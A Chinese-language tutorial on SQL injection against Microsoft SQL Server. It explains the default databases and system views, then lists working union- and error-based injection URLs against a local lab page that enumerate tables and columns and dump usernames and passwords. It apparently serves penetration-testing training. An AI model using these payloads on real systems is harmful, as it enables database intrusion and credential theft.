MSSQL数据库
MSSQL数据库简介
MSSQL是指微软的SQL Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库。
注入简介
MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路。
Microsoft SQL Sever 分为很多个版本,版本的不断的升级安全性也越来越高,对我们渗透过程中最喜欢的版本应该就是2008以前,在2008及其以后的版本数据库的权限已经不再是system,为了迎合新的版本我接下来的实验都在2008版本下面进行,同时也介绍以前可以利用的方法,相对于MySQL这个mssql显得重了许多,他众多的功能也给我们注入过程带来了便利,所以一般数据库为mssql支持多语句我们就考虑是不是应该直接拿下webshell。
对于mssql的一个注入点我们往往最关心的这个注入点的权限问题,是sa、db_owner还是public;其次是这个注点是否显错,注释语句是否可用,例如sql server中注释符“–”;还有就是注入点是什么类型的,是字符型注入,还是数字型注入。
默认库的介绍
master //用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
model //SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
msdb //由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
tempdb //它为临时表和其他临时工作提供了一个存储区。
这里我们经常要打交道的库也就是master,他储存了我们的所有数据库名等等,还有很多储存过程,所谓储存过程你可以把他理解成一个函数调用的过程。
储存过程是一个可编程的函数,它在数据库中创建并保存。它可以有SQL语句和一些特殊的控制结构组成。当希望在不同的应用程序或平台上执行相同的函数,或者封装特定功能时,存储过程是非常有用的。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式。
我们以master库为例可以看到上面几个东西,其中视图表master.dbo.sysdatabases储存所有数据库名,其他数据库的视图则储存他本库的表名与列名。
仔细研究,发现mssql中视图表中的information_schema表与mysql中的information_schema库类似,只不过mssql中的information_schema只存储当前数据库中用户表的内容,不包含系统表,也不能单独查询information_schema表
每一个库的视图表都有syscolumns存储着所有的字段,可编程性储存着我们的函数。
基本信息
@@version // 数据库版本
user //获取当前数据库用户名
db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库
;select user //查询是否支持多语句
host_name() //服务端主机名
注入实例:
http://192.168.64.130:801/less-1.asp?id=-1' union select 1,2,3 --
http://192.168.64.130:801/less-1.asp?id=-1' union select top 1 1,@@version,3 --
http://192.168.64.130:801/less-1.asp?id=-1' union select top 1 1,@@version,user --
http://192.168.64.130:801/less-1.asp?id=-1’ union select 1,db_name(),user –
http://192.168.64.130:801/less-1.asp?id=-1' union select 1,host_name(),@@servername --
爆表名:
http://192.168.64.130:801/less-1.asp?id=-1%27%20and%201=(select%20top%201%20name%20from%20sysobjects%20where%20xtype=%27u%27)–
第一张表
第二张表:
http://192.168.64.130:801/less-1.asp?id=-1’ and 1=(select top 1 name from sysobjects where xtype=‘u’ and name <>‘emails’)–
或者使用not in
http://192.168.64.130:801/less-1.asp?id=-1’ and 1=(select top 1 name from sysobjects where xtype=‘u’ and name not in (‘emails’))–
或者!=
http://192.168.64.130:801/less-1.asp?id=-1’ and 1=(select top 1 name from sysobjects where xtype=‘u’ and name !=‘emails’)–
爆出全部表名为:emails、uagents、users、referers、sysdiagrams
爆列名:
http://192.168.64.130:801/less-1.asp?id=-1’ and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = ‘users’) and name<>‘id’);–
http://192.168.64.130:801/less-1.asp?id=-1’ and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = ‘users’) and name not in (‘id’,‘username’ ))–
爆数据
http://192.168.64.130:801/less-1.asp?id=-1’ union select top 1 1,username,password from users –
http://192.168.64.130:801/less-1.asp?id=-1’ union select top 1 1,username,password from users where username <>‘Dumb’–
http://192.168.64.130:801/less-1.asp?id=-1’ union select top 1 1,username,password from users where username not in (‘Dumb’,‘Angelina’)–